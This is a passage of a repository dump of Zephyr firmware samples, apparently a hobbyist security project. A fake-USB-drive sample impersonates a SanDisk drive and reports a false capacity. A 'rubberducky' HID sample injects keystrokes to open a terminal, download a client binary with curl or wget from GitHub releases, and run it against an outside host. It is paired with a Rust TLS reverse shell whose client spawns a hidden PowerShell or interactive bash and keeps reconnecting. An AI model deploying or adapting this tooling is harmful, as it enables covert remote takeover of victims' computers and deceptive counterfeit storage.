', ' '}, 102 | .boot_sig = 0xaa55, 103 | }; 104 | 105 | // FAT32 FS Info Sector 106 | 107 | typedef struct { 108 | uint32_t sig1; 109 | uint8_t rsvd1[480]; 110 | uint32_t sig2; 111 | uint32_t free_clusters; 112 | uint32_t next_free_cluster; 113 | uint8_t rsvd2[12]; 114 | uint32_t sig3; 115 | } __attribute__((__packed__)) fat32_fsinfo_t; 116 | 117 | static const fat32_fsinfo_t FAT32_FSINFO = { 118 | .sig1 = 0x41615252, 119 | .sig2 = 0x61417272, 120 | .free_clusters = 0xffffffff, 121 | .next_free_cluster = 0xffffffff, 122 | .sig3 = 0xaa550000, 123 | }; 124 | 125 | // FAT32 Table 126 | 127 | typedef struct { 128 | uint32_t entries[128]; 129 | } __attribute__((__packed__)) fat32_table_t; 130 | 131 | static const fat32_table_t FAT32_ROOT_TABLE = { 132 | .entries = { 133 | 0x0ffffff8, 134 | 0x0fffffff, 135 | 0x0fffffff, 136 | }, 137 | }; 138 | 139 | static const fat32_table_t FAT32_TABLE = { 140 | .entries = {0} 141 | }; 142 | 143 | // FAT32 Directory/Entry 144 | 145 | typedef struct { 146 | uint8_t filename[8]; 147 | uint8_t file_ext[3]; 148 | uint8_t attributes; 149 | uint8_t rsvd1; 150 | uint8_t creation_time_ms; 151 | uint16_t creation_time; 152 | uint16_t creation_date; 153 | uint16_t access_date; 154 | uint16_t first_cluster_high; 155 | uint16_t mod_time; 156 | uint16_t mod_date; 157 | uint16_t first_cluster_low; 158 | uint32_t filesize; 159 | } __attribute__((__packed__)) fat32_dirent_t; 160 | 161 | static const fat32_dirent_t FAT32_ROOTDIR[16] = { 162 | { 163 | .filename = {0x00, ' ', ' ', ' ', ' ', ' ', ' ', ' '}, 164 | .file_ext = {' ', ' ', ' '}, 165 | .attributes = 0x08, // VOLUME LABEL 166 | .creation_time_ms = 0, 167 | .creation_time = 0, 168 | .creation_date = 0, 169 | .access_date = 0, 170 | .first_cluster_high = 0, 171 | .first_cluster_low = 0, 172 | .mod_time = 0, 173 | .mod_date = 0, 174 | .filesize = 0, 175 | }, 176 | }; 177 | 178 | #endif // FAKEDISK_H 179 | -------------------------------------------------------------------------------- /samples/apps/fakeusbdrive/fakedisk/zephyr/module.yml: -------------------------------------------------------------------------------- 1 | build: 2 | cmake: . 3 | kconfig: Kconfig 4 | -------------------------------------------------------------------------------- /samples/apps/fakeusbdrive/prj.conf: -------------------------------------------------------------------------------- 1 | CONFIG_USB_DEVICE_STACK=y 2 | CONFIG_USB_MASS_STORAGE=y 3 | CONFIG_MASS_STORAGE_DISK_NAME="FAKE" 4 | 5 | CONFIG_DISK_DRIVER_FAKE=y 6 | CONFIG_DISK_FAKE_SECTOR_COUNT=134217727 7 | 8 | # appear as SanDisk Extreme Pro 9 | CONFIG_USB_DEVICE_VID=0x0781 10 | CONFIG_USB_DEVICE_PID=0x5580 11 | CONFIG_USB_DEVICE_MANUFACTURER="SanDisk" 12 | CONFIG_USB_DEVICE_PRODUCT="Extreme" 13 | CONFIG_USB_DEVICE_SN="AA010731161120090755" 14 | CONFIG_MASS_STORAGE_INQ_VENDOR_ID="SanDisk " 15 | CONFIG_MASS_STORAGE_INQ_PRODUCT_ID="Extreme " 16 | 17 | CONFIG_SPEED_OPTIMIZATIONS=y 18 | -------------------------------------------------------------------------------- /samples/apps/fakeusbdrive/src/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main() { 5 | usb_enable(NULL); 6 | 7 | return 0; 8 | } 9 | -------------------------------------------------------------------------------- /samples/apps/rubberducky/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.20.0) 2 | 3 | include_directories(src) # override header :) 4 | 5 | find_package(Zephyr REQUIRED HINTS $ENV{ZEPHYR_BASE}) 6 | project(rubberducky) 7 | 8 | target_include_directories(app PRIVATE 9 | inc 10 | ) 11 | 12 | target_sources(app PRIVATE 13 | src/main.cpp 14 | src/error.cpp 15 | src/hid.cpp 16 | src/payload.cpp 17 | src/rgb.cpp 18 | ) 19 | 20 | function(add_payload PAYLOAD_NAME) 21 | add_llext_target(${PAYLOAD_NAME} 22 | OUTPUT ${ZEPHYR_BINARY_DIR}/payloads/${PAYLOAD_NAME}.elf 23 | SOURCES payloads/${PAYLOAD_NAME}.cpp 24 | ) 25 | llext_include_directories(${PAYLOAD_NAME} inc) 26 | add_dependencies(app ${PAYLOAD_NAME}) # TODO try EDK 27 | endfunction() 28 | 29 | add_payload(example) 30 | add_payload(shell) 31 | -------------------------------------------------------------------------------- /samples/apps/rubberducky/inc/error.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | enum class error_reason { 4 | HID, 5 | PAYLOAD, 6 | }; 7 | 8 | void error_fatal(error_reason code); 9 | -------------------------------------------------------------------------------- /samples/apps/rubberducky/inc/hid.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | extern "C" { 4 | 5 | enum hid_os { 6 | UNKNOWN, 7 | MACOS, 8 | WINDOWS, 9 | LINUX, 10 | }; 11 | 12 | enum hid_mouse_button { 13 | NONE = 0x00, 14 | LEFT = 0x01, 15 | RIGHT = 0x02, 16 | MIDDLE = 0x04, 17 | }; 18 | 19 | struct hid_keyboard_report { // see usb/class/hid.h 20 | uint8_t modifier; 21 | uint8_t reserved; 22 | uint8_t keycode[6]; 23 | }; 24 | 25 | struct hid_mouse_report { 26 | uint8_t buttons; 27 | int8_t x; 28 | int8_t y; 29 | int8_t scroll; 30 | }; 31 | 32 | void hid_init(void); 33 | hid_os hid_get_os(void); 34 | void hid_keyboard_raw(const hid_keyboard_report &report); 35 | void hid_mouse_raw(const hid_mouse_report &report); 36 | 37 | } 38 | -------------------------------------------------------------------------------- /samples/apps/rubberducky/inc/payload.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | void payload_init(void); 4 | void payload_run(void); 5 | -------------------------------------------------------------------------------- /samples/apps/rubberducky/inc/rgb.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | extern "C" { 4 | 5 | enum class rgb_color { 6 | OFF, 7 | RED, 8 | GREEN, 9 | BLUE, 10 | CYAN, 11 | MAGENTA, 12 | YELLOW, 13 | WHITE, 14 | }; 15 | 16 | void rgb_init(void); 17 | void rgb_write(rgb_color c); 18 | 19 | } 20 | -------------------------------------------------------------------------------- /samples/apps/rubberducky/payloads/common.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include "hid.h" 7 | #include "rgb.h" 8 | 9 | static inline void kb_type(uint8_t key, uint8_t mod) { 10 | // specific hw/sw combos can miss reports if only send one w/o delay 11 | hid_keyboard_report k{}; 12 | k.keycode[0] = key; 13 | k.modifier = mod; 14 | hid_keyboard_raw(k); // press 15 | hid_keyboard_raw(k); 16 | hid_keyboard_raw(k); 17 | hid_keyboard_raw(k); 18 | k.keycode[0] = 0; 19 | k.modifier = 0; 20 | hid_keyboard_raw(k); // release 21 | hid_keyboard_raw(k); 22 | hid_keyboard_raw(k); 23 | hid_keyboard_raw(k); 24 | } 25 | 26 | static inline void kb_print(const char *s) { 27 | const uint8_t ASCII_TO_CODE[95][2] = { 28 | {0, HID_KEY_SPACE}, {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_1}, 29 | {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_APOSTROPHE}, {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_3}, 30 | {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_4}, {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_5}, 31 | {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_7}, {0, HID_KEY_APOSTROPHE}, 32 | {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_9}, {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_0}, 33 | {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_8}, {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_EQUAL}, 34 | {0, HID_KEY_COMMA}, {0, HID_KEY_MINUS}, {0, HID_KEY_DOT}, {0, HID_KEY_SLASH}, 35 | {0, HID_KEY_0}, {0, HID_KEY_1}, {0, HID_KEY_2}, {0, HID_KEY_3}, {0, HID_KEY_4}, 36 | {0, HID_KEY_5}, {0, HID_KEY_6}, {0, HID_KEY_7}, {0, HID_KEY_8}, {0, HID_KEY_9}, 37 | {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_SEMICOLON}, {0, HID_KEY_SEMICOLON}, 38 | {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_COMMA}, {0, HID_KEY_EQUAL}, 39 | {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_DOT}, {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_SLASH}, 40 | {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_2}, 41 | {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_A}, {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_B}, 42 | {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_C}, {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_D}, 43 | {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_E}, {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_F}, 44 | {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_G}, {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_H}, 45 | {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_I}, {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_J}, 46 | {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_K}, {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_L}, 47 | {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_M}, {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_N}, 48 | {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_O}, {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_P}, 49 | {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_Q}, {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_R}, 50 | {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_S}, {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_T}, 51 | {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_U}, {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_V}, 52 | {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_W}, {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_X}, 53 | {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_Y}, {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_Z}, 54 | {0, HID_KEY_LEFTBRACE}, {0, HID_KEY_BACKSLASH}, {0, HID_KEY_RIGHTBRACE}, 55 | {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_6}, {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_MINUS}, {0, HID_KEY_GRAVE}, 56 | {0, HID_KEY_A}, {0, HID_KEY_B}, {0, HID_KEY_C}, {0, HID_KEY_D}, {0, HID_KEY_E}, {0, HID_KEY_F}, 57 | {0, HID_KEY_G}, {0, HID_KEY_H}, {0, HID_KEY_I}, {0, HID_KEY_J}, {0, HID_KEY_K}, {0, HID_KEY_L}, 58 | {0, HID_KEY_M}, {0, HID_KEY_N}, {0, HID_KEY_O}, {0, HID_KEY_P}, {0, HID_KEY_Q}, {0, HID_KEY_R}, 59 | {0, HID_KEY_S}, {0, HID_KEY_T}, {0, HID_KEY_U}, {0, HID_KEY_V}, {0, HID_KEY_W}, {0, HID_KEY_X}, 60 | {0, HID_KEY_Y}, {0, HID_KEY_Z}, 61 | {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_LEFTBRACE}, {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_BACKSLASH}, 62 | {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_RIGHTBRACE}, {HID_KBD_MODIFIER_LEFT_SHIFT, HID_KEY_GRAVE}, 63 | }; 64 | while (*s) { 65 | uint8_t c = *s; 66 | if (c >= 32 && c <= 126) { 67 | c -= 32; 68 | kb_type(ASCII_TO_CODE[c][1], ASCII_TO_CODE[c][0]); 69 | } 70 | s++; 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /samples/apps/rubberducky/payloads/example.cpp: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | 3 | extern "C" void run(void) { 4 | printk("setting rgb to os\r\n"); 5 | switch (hid_get_os()) { 6 | case hid_os::MACOS: rgb_write(rgb_color::GREEN); break; 7 | case hid_os::WINDOWS: rgb_write(rgb_color::BLUE); break; 8 | case hid_os::LINUX: rgb_write(rgb_color::RED); break; 9 | default: rgb_write(rgb_color::OFF); break; 10 | } 11 | 12 | printk("typing stuff\r\n"); 13 | kb_print("hello world!"); 14 | 15 | printk("mouse jiggling\r\n"); 16 | while (true) { 17 | hid_mouse_report m{}; 18 | m.x = 10; 19 | hid_mouse_raw(m); 20 | k_msleep(10); 21 | m.x = -10; 22 | hid_mouse_raw(m); 23 | k_msleep(10); 24 | } 25 | } 26 | 27 | LL_EXTENSION_SYMBOL(run); 28 | -------------------------------------------------------------------------------- /samples/apps/rubberducky/payloads/revshell/.cargo/config.toml: -------------------------------------------------------------------------------- 1 | [target.'cfg(not(target_os = "linux"))'] 2 | rustflags = ["-C", "target-feature=+crt-static"] 3 | -------------------------------------------------------------------------------- /samples/apps/rubberducky/payloads/revshell/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "revshell" 3 | default-run = "client" 4 | version = "0.1.0" 5 | edition = "2021" 6 | 7 | [[bin]] 8 | name = "client" 9 | path = "src/client.rs" 10 | 11 | [[bin]] 12 | name = "server" 13 | path = "src/server.rs" 14 | 15 | [target.'cfg(not(target_os = "windows"))'.dependencies] 16 | termios = "0.3" 17 | 18 | [dependencies] 19 | rustls-pemfile = "2.1" 20 | tokio = { version = "1", features = ["full"] } 21 | tokio-rustls = "0.26" 22 | 23 | # Windows needs more setup to build 24 | # https://aws.github.io/aws-lc-rs/requirements/windows.html 25 | # https://learn.microsoft.com/en-us/windows/win32/fileio/maximum-file-path-limitation 26 | -------------------------------------------------------------------------------- /samples/apps/rubberducky/payloads/revshell/certs/cert.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIBoDCCAUWgAwIBAgIUNXzvXOCfzWTl6isCdYTnrI+Dl8IwCgYIKoZIzj0EAwIw 3 | JzELMAkGA1UEBhMCQlIxGDAWBgNVBAoMD0NyYWIgd2lkZ2l0cyBTRTAgFw03NTAx 4 | MDEwMDAwMDBaGA80MDk2MDEwMTAwMDAwMFowGjEYMBYGA1UEAwwPbWF0dGhld3Ry 5 | YW4uY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEbVL9u1IbJ0cMVk7yd2Np 6 | Kdr5j91jZoy/DHZP12NIw0tjDclxNk30ny0j7QFkAcHyNyYHGypQw/TAJJWYxKdB 7 | maNaMFgwHwYDVR0jBBgwFoAUK0a6R9tAZj+bSAtCmTDiCcrEIuowJQYDVR0RBB4w 8 | HIIPbWF0dGhld3RyYW4uY29tgglsb2NhbGhvc3QwDgYDVR0PAQH/BAQDAgeAMAoG 9 | CCqGSM49BAMCA0kAMEYCIQC6J92vw968Vu4SYuEd4sYYeSYOcF0Jtxzrb8qx2pDh 10 | KgIhAJI4qrNzMA1AVTTKWBZ3foord9L0ai5PVGzZeV2RgqWB 11 | -----END CERTIFICATE----- 12 | -------------------------------------------------------------------------------- /samples/apps/rubberducky/payloads/revshell/certs/root-ca.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIBkzCCATqgAwIBAgIUfxbNCkS0wwir3RsgzDpcWc4HfTswCgYIKoZIzj0EAwIw 3 | JzELMAkGA1UEBhMCQlIxGDAWBgNVBAoMD0NyYWIgd2lkZ2l0cyBTRTAgFw03NTAx 4 | MDEwMDAwMDBaGA80MDk2MDEwMTAwMDAwMFowJzELMAkGA1UEBhMCQlIxGDAWBgNV 5 | BAoMD0NyYWIgd2lkZ2l0cyBTRTBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABERX 6 | Wd7NAvl0w8vE9TgnSG04IU4kKF66LJWjZIMMvpMQm08i9GgceJmQu5AM1UvXmTVy 7 | k4wW5IiIy+KQ+WIyahyjQjBAMA4GA1UdDwEB/wQEAwIBhjAdBgNVHQ4EFgQUK0a6 8 | R9tAZj+bSAtCmTDiCcrEIuowDwYDVR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAgNH 9 | ADBEAiAtPO+G/+HujOl56lBVcDvRw3d2PxuXYfctsTE0grvJqwIgXIEfl16Z19GR 10 | yhyVToC54hSUkWjAd/BQkDUyotY17c4= 11 | -----END CERTIFICATE----- 12 | -------------------------------------------------------------------------------- /samples/apps/rubberducky/payloads/revshell/src/client.rs: -------------------------------------------------------------------------------- 1 | use crate::rustls::pki_types::ServerName; 2 | use std::process::Stdio; 3 | use tokio::io::{AsyncReadExt, AsyncWriteExt}; 4 | use tokio_rustls::rustls; 5 | 6 | #[cfg(target_os = "windows")] 7 | const SHELL: &str = "powershell.exe"; 8 | 9 | #[cfg(target_os = "windows")] 10 | const SHELL_ARGS: &[&str] = &["-WindowStyle", "hidden"]; // TODO redirect everything, gets stuck sometimes 11 | 12 | #[cfg(any(target_os = "macos", target_os = "linux"))] 13 | const SHELL: &str = "/bin/bash"; 14 | 15 | #[cfg(any(target_os = "macos", target_os = "linux"))] 16 | const SHELL_ARGS: &[&str] = &["-i"]; 17 | 18 | async fn start_shell(addr: &str) -> tokio::io::Result<()> { 19 | // setup TLS 20 | let mut cert = include_bytes!("../certs/root-ca.pem").as_slice(); 21 | let mut root = rustls::RootCertStore::empty(); 22 | for c in rustls_pemfile::certs(&mut cert) { 23 | root.add(c.unwrap()).unwrap(); 24 | } 25 | let cfg = rustls::ClientConfig::builder() 26 | .with_root_certificates(root) 27 | .with_no_client_auth(); 28 | let conn = tokio_rustls::TlsConnector::from(std::sync::Arc::new(cfg)); 29 | 30 | // start connection 31 | let sock = tokio::net::TcpStream::connect(addr).await?; 32 | let domain = ServerName::try_from(addr.split(':').next().unwrap().to_string()).unwrap(); 33 | let mut sock = conn.connect(domain, sock).await?; 34 | 35 | // start shell 36 | let mut cmd = tokio::process::Command::new(SHELL) 37 | .args(SHELL_ARGS) 38 | .stdin(Stdio::piped()) 39 | .stdout(Stdio::piped()) 40 | .stderr(Stdio::piped()) 41 | .spawn()?; 42 | 43 | // pipe stdin/stdout/stderr 44 | let mut stdin = cmd.stdin.take().unwrap(); 45 | let mut stdout = cmd.stdout.take().unwrap(); 46 | let mut stderr = cmd.stderr.take().unwrap(); 47 | let _ = tokio::spawn(async move { 48 | let mut buf_in = [0; 1024]; 49 | let mut buf_out = [0; 1024]; 50 | let mut buf_err = [0; 1024]; 51 | loop { 52 | tokio::select! { 53 | v = sock.read(&mut buf_in) => { 54 | let v = v?; 55 | match v { 56 | 0 => break, 57 | len => stdin.write_all(&buf_in[0..len]).await?, 58 | } 59 | } 60 | v = stdout.read(&mut buf_out) => { 61 | let v = v?; 62 | match v { 63 | 0 => break, 64 | len => sock.write_all(&buf_out[0..len]).await?, 65 | } 66 | } 67 | v = stderr.read(&mut buf_err) => { 68 | let v = v?; 69 | match v { 70 | 0 => break, 71 | len => sock.write_all(&buf_err[0..len]).await?, 72 | } 73 | } 74 | } 75 | } 76 | Ok::<(), tokio::io::Error>(()) 77 | }) 78 | .await; 79 | let _ = cmd.wait().await; 80 | Ok(()) 81 | } 82 | 83 | #[tokio::main] 84 | async fn main() { 85 | let addr = std::env::args() 86 | .nth(1) 87 | .unwrap_or("localhost:8080".to_string()); 88 | loop { 89 | let err = start_shell(&addr).await; 90 | if let Err(msg) = err { 91 | println!("{}", msg); 92 | } else { 93 | println!("graceful exit"); 94 | } 95 | tokio::time::sleep(tokio::time::Duration::from_millis(1000)).await; 96 | } 97 | } 98 | -------------------------------------------------------------------------------- /samples/apps/rubberducky/payloads/revshell/src/server.rs: -------------------------------------------------------------------------------- 1 | use std::os::fd::AsRawFd; 2 | use tokio::io::{AsyncReadExt, AsyncWriteExt}; 3 | use tokio_rustls::rustls; 4 | 5 | /* 6 | * git clone https://github.com/rustls/rcgen.git && cd rcgen 7 | * cargo run -- --common-name=matthewtran.com --san=matthewtran.com --san=localhost --output=certs 8 | */ 9 | 10 | async fn connect_shell(addr: &str) -> tokio::io::Result<()> { 11 | // setup TLS 12 | let mut key = include_bytes!("../certs/cert.key.pem").as_slice(); 13 | let mut cert = include_bytes!("../certs/cert.pem").as_slice(); 14 | let key = rustls_pemfile::private_key(&mut key).unwrap().unwrap(); 15 | let cert = rustls_pemfile::certs(&mut cert) 16 | .collect::, _>>() 17 | .unwrap(); 18 | let cfg = rustls::ServerConfig::builder() 19 | .with_no_client_auth() 20 | .with_single_cert(cert, key) 21 | .unwrap(); 22 | let acc = tokio_rustls::TlsAcceptor::from(std::sync::Arc::new(cfg)); 23 | 24 | // start connection 25 | let tcp = tokio::net::TcpListener::bind(addr).await?; 26 | let (sock, addr) = tcp.accept().await?; 27 | let mut sock = acc.accept(sock).await?; 28 | println!("connected to {}", addr); 29 | 30 | // pipe to stdin/stdout 31 | let _ = tokio::spawn(async move { 32 | let mut stdin = tokio::io::stdin(); 33 | let mut stdout = tokio::io::stdout(); 34 | let mut read_buf = [0; 1024]; 35 | let mut write_buf = [0; 1024]; 36 | loop { 37 | tokio::select! { 38 | v = sock.read(&mut read_buf) => { 39 | let v = v?; 40 | match v { 41 | 0 => break, 42 | len => { 43 | stdout.write_all(&read_buf[0..len]).await?; 44 | stdout.flush().await? 45 | }, 46 | } 47 | } 48 | v = stdin.read(&mut write_buf) => { 49 | let v = v?; 50 | match v { 51 | 0 => break, 52 | len => sock.write_all(&write_buf[0..len]).await?, 53 | } 54 | } 55 | } 56 | } 57 | Ok::<(), tokio::io::Error>(()) 58 | }) 59 | .await; 60 | Ok(()) 61 | } 62 | 63 | #[tokio::main] 64 | async fn main() -> tokio::io::Result<()> { 65 | // disable stdin echo and newline buffering 66 | let stdin_fd = std::io::stdin().as_raw_fd(); 67 | let termios_old = termios::Termios::from_fd(stdin_fd).unwrap(); 68 | let mut termios = termios_old; 69 | termios.c_lflag &= !(termios::ECHO | termios::ICANON); 70 | termios.c_cc[termios::VMIN] = 1; 71 | termios.c_cc[termios::VTIME] = 0; 72 | termios::tcsetattr(stdin_fd, termios::TCSANOW, &termios)?; 73 | 74 | // start connection 75 | let addr = std::env::args() 76 | .nth(1) 77 | .unwrap_or("0.0.0.0:8080".to_string()); 78 | let err = connect_shell(&addr).await; 79 | if let Err(msg) = err { 80 | println!("{}", msg); 81 | } 82 | 83 | // revert stdin 84 | termios::tcsetattr(stdin_fd, termios::TCSADRAIN, &termios_old)?; 85 | 86 | println!("press enter again to exit..."); // https://docs.rs/tokio/latest/tokio/io/struct.Stdin.html 87 | Ok(()) 88 | 89 | // TODO manage multiple connections 90 | } 91 | -------------------------------------------------------------------------------- /samples/apps/rubberducky/payloads/shell.cpp: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | 3 | // deploys binary payload in a very detectable way :P 4 | 5 | extern "C" void run(void) { 6 | switch (hid_get_os()) { 7 | case hid_os::MACOS: { 8 | rgb_write(rgb_color::GREEN); 9 | kb_type(HID_KEY_SPACE, HID_KBD_MODIFIER_LEFT_UI); 10 | k_msleep(100); 11 | kb_print("Terminal.app"); 12 | kb_type(HID_KEY_ENTER, 0); 13 | k_msleep(2000); 14 | kb_print("cd Downloads"); 15 | kb_type(HID_KEY_ENTER, 0); 16 | kb_print("curl -L -o client https://github.com/dragonlock2/zephyrboards/releases/download/revshell/macos-13-client"); 17 | kb_type(HID_KEY_ENTER, 0); // macos-13 is x86_64 binary 18 | k_msleep(5000); 19 | kb_print("chmod +x client"); 20 | kb_type(HID_KEY_ENTER, 0); 21 | k_msleep(100); 22 | kb_print("./client matthewtran.com:8080"); // TODO run detached 23 | kb_type(HID_KEY_ENTER, 0); 24 | k_msleep(100); 25 | kb_type(HID_KEY_M, HID_KBD_MODIFIER_LEFT_UI); // minimize window for now 26 | break; 27 | } 28 | case hid_os::WINDOWS: { 29 | rgb_write(rgb_color::BLUE); 30 | kb_type(HID_KEY_R, HID_KBD_MODIFIER_LEFT_UI); 31 | k_msleep(100); 32 | kb_print("powershell.exe"); 33 | kb_type(HID_KEY_ENTER, 0); 34 | k_msleep(1000); 35 | kb_print("cd Downloads"); 36 | kb_type(HID_KEY_ENTER, 0); 37 | kb_print("curl -o client.exe https://github.com/dragonlock2/zephyrboards/releases/download/revshell/windows-latest-client.exe"); 38 | kb_type(HID_KEY_ENTER, 0); // curl is preinstalled on recent Windows 39 | k_msleep(5000); 40 | kb_print("./client.exe matthewtran.com:8080"); // TODO run detached 41 | kb_type(HID_KEY_ENTER, 0); 42 | k_msleep(100); 43 | kb_type(HID_KEY_DOWN, HID_KBD_MODIFIER_LEFT_UI); // minimize window for now 44 | break; 45 | } 46 | case hid_os::LINUX: { // Ubuntu 47 | rgb_write(rgb_color::RED); 48 | kb_type(HID_KEY_T, HID_KBD_MODIFIER_LEFT_CTRL | HID_KBD_MODIFIER_LEFT_ALT); 49 | k_msleep(1000); 50 | kb_print("cd Downloads"); 51 | kb_type(HID_KEY_ENTER, 0); 52 | kb_print("wget -O client https://github.com/dragonlock2/zephyrboards/releases/download/revshell/ubuntu-latest-client"); 53 | kb_type(HID_KEY_ENTER, 0); // wget is preinstalled on Ubuntu 54 | k_msleep(5000); 55 | kb_print("chmod +x client"); 56 | kb_type(HID_KEY_ENTER, 0); 57 | k_msleep(100); 58 | kb_print("./client matthewtran.com:8080"); // TODO run detached 59 | kb_type(HID_KEY_ENTER, 0); 60 | k_msleep(100); 61 | kb_type(HID_KEY_H, HID_KBD_MODIFIER_LEFT_UI); // minimize window for now 62 | break; 63 | } 64 | default: { 65 | printk("unknown os"); 66 | while (true) { 67 | rgb_write(rgb_color::YELLOW); 68 | k_msleep(100); 69 | rgb_write(rgb_color::OFF); 70 | k_msleep(100); 71 | } 72 | break; 73 | } 74 | } 75 | } 76 | 77 | LL_EXTENSION_SYMBOL(run); 78 | -------------------------------------------------------------------------------- /samples/apps/rubberducky/prj.conf: -------------------------------------------------------------------------------- 1 | CONFIG_CPP=y 2 | CONFIG_STD_CPP20=y 3 | CONFIG_MAIN_STACK_SIZE=4096 4 | 5 | CONFIG_LOG=y 6 | CONFIG_USB_DRIVER_LOG_LEVEL_WRN=y 7 | CONFIG_USB_DEVICE_LOG_LEVEL_WRN=y 8 | CONFIG_USB_HID_LOG_LEVEL_WRN=y 9 | CONFIG_LLEXT_LOG_LEVEL_WRN=y 10 | CONFIG_LOG_MODE_IMMEDIATE=n 11 | CONFIG_LOG_PROCESS_TRIGGER_THRESHOLD=0 12 | CONFIG_LOG_PROCESS_THREAD_SLEEP_MS=100 13 | 14 | CONFIG_USB_DEVICE_STACK=y 15 | CONFIG_USB_DEVICE_VID=0x05ac 16 | CONFIG_USB_DEVICE_PID=0x021e 17 | CONFIG_USB_DEVICE_MANUFACTURER="dragonlock2" 18 | CONFIG_USB_DEVICE_PRODUCT="rubberducky" 19 | CONFIG_USB_SELF_POWERED=n 20 | CONFIG_USB_DEVICE_HID=y 21 | CONFIG_USB_HID_DEVICE_COUNT=2 22 | CONFIG_USB_HID_POLL_INTERVAL_MS=1 23 | CONFIG_USB_HID_BOOT_PROTOCOL=y 24 | 25 | CONFIG_FILE_SYSTEM=y 26 | CONFIG_FAT_FILESYSTEM_ELM=y 27 | CONFIG_DISK_DRIVER_SDMMC=y 28 | 29 | CONFIG_LLEXT=y 30 | CONFIG_LLEXT_HEAP_SIZE=64 31 | CONFIG_LLEXT_STORAGE_WRITABLE=n 32 | -------------------------------------------------------------------------------- /samples/apps/rubberducky/src/bos_desc.h: -------------------------------------------------------------------------------- 1 | #ifndef ZEPHYR_INCLUDE_USB_DEVICE_BOS_DESC_H_ 2 | #define ZEPHYR_INCLUDE_USB_DEVICE_BOS_DESC_H_ 3 | 4 | #include 5 | #include 6 | 7 | #ifdef CONFIG_USB_DEVICE_BOS 8 | #error "os detection workaround not compatible with CONFIG_USB_DEVICE_BOS" 9 | #endif 10 | 11 | int usb_handle_bos(struct usb_setup_packet *setup, int32_t *len, uint8_t **data); 12 | 13 | #endif /* ZEPHYR_INCLUDE_USB_DEVICE_BOS_DESC_H_ */ 14 | -------------------------------------------------------------------------------- /samples/apps/rubberducky/src/error.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "error.h" 4 | 5 | void error_fatal(error_reason code) { 6 | switch (code) { 7 | case error_reason::HID: 8 | for (int i = 0; i < 2; i++) { 9 | rgb_write(rgb_color::RED); 10 | k_msleep(50); 11 | rgb_write(rgb_color::OFF); 12 | k_msleep(200); 13 | } 14 | break; 15 | 16 | case error_reason::PAYLOAD: 17 | for (int i = 0; i < 3; i++) { 18 | rgb_write(rgb_color::RED); 19 | k_msleep(50); 20 | rgb_write(rgb_color::OFF); 21 | k_msleep(200); 22 | } 23 | break; 24 | } 25 | while (1) { k_msleep(1); } 26 | } 27 | -------------------------------------------------------------------------------- /samples/apps/rubberducky/src/hid.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | 